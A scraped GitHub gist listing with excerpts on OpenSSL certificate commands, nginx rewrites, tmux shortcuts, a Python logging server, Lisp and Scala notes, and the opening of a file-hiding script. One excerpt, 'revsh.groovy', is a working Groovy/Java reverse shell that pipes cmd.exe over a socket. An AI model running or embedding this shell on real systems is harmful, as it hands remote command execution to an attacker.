Skip to content

Instantly share code, notes, and snippets.

@Hakky54
Hakky54 / openssl_commands.md
Last active April 16, 2024 14:05 — forked from p3t3r67x0/openssl_commands.md
Some list of openssl commands for check and verify your keys

OpenSSL 🔐

Install

Install the OpenSSL on Debian based systems

sudo apt-get install openssl
@codeprimate
codeprimate / gist:3054582
Created July 5, 2012 16:11
OpenSSL Commands
The following assume that you are in the homedir of your private CA userdir (/home/myca). I would suggest creating a limited system account used solely for key creation and signing. Use homedir encryption to protect your CA keys from root compromise.
Create CA Certificate
openssl genrsa -des3 -out private/cacert.key 4096 -config conf/caconfig.cnf
openssl req -new -x509 -days 365 -key private/cacert.key -out certs/cacert.crt -config conf/caconfig.cnf
Create Server Certificate
openssl genrsa -des3 -out private/nullbacon.patrick-morgan.net.key 4096 -config conf/caconfig.cnf
openssl req -new -key private/nullbacon.patrick-morgan.net.key -out nullbacon.patrick-morgan.net.csr -config conf/caconfig.cnf
@slow-is-fast
slow-is-fast / laravel remove index.php from url.md
Last active April 16, 2024 14:05
[nginx] laravel remove index.php from url
# Remove index.php$
if ($request_uri ~* "^(.*/)index\.php$") {
    return 301 $1;
}

location / {
    try_files $uri $uri/ /index.php?$query_string;

    # Remove from everywhere index.php

if ($request_uri ~* "^(./)index.php(/?)(.)") {

@frohoff
frohoff / revsh.groovy
Created March 2, 2016 18:55
Pure Groovy/Java Reverse Shell
String host="localhost";
int port=8044;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
@MohamedAlaa
MohamedAlaa / tmux-cheatsheet.markdown
Last active April 16, 2024 14:02
tmux shortcuts & cheatsheet

tmux shortcuts & cheatsheet

start new:

tmux

start new with session name:

tmux new -s myname
@mdonkers
mdonkers / server.py
Last active April 16, 2024 14:00
Simple Python 3 HTTP server for logging all GET and POST requests
#!/usr/bin/env python3
"""
License: MIT License
Copyright (c) 2023 Miel Donkers
Very simple HTTP server in python for logging requests
Usage::
./server.py [<port>]
"""
from http.server import BaseHTTPRequestHandler, HTTPServer
@chaotic3quilibrium
chaotic3quilibrium / Effective Scala Case Class Patterns.md
Last active April 16, 2024 13:59
Article: Effective Scala Case Class Patterns - The guide I wished I had read years ago when starting my Scala journey

Effective Scala Case Class Patterns

Version: 2022.03.02

Available As

@gosukiwi
gosukiwi / common-lisp-cheatsheet.md
Last active April 16, 2024 13:59
Common Lisp Cheatsheet

Common Lisp Cheatsheet

Common Lisp is a general-purpose programming language with functions as first-class citizens. Don't worry about being purely functional, Lisp is Object Oriented too. CLOS is a very powerful object-oriented system!

Useful definitions

The Common Lisp lingo is quite unique:

  • Package: Basically a namespace, a place for symbols to live
  • System: Basically a Library. A bunch of code plus some instructions how it should be treated, for example which other systems it depends on, what should be loaded and/or compiled first, etc. Not in ANSI lisp but widespread. The most common system definition tool is ASDF.
  • Modules: Deprecated and implementation-dependent
  • Quicklisp: Like NPM or Ruby Gems for ASDF Systems.
@sanyer
sanyer / README.md
Last active April 16, 2024 13:58
Awesome Steam Deck
@yosignals
yosignals / Folding.py
Created April 15, 2024 14:09
Hiding Files in Folders ... names
import os
import argparse
import hashlib
def file_to_hex(filename):
"""Convert file content to a hex string."""
with open(filename, 'rb') as file:
content = file.read()
return content.hex(), content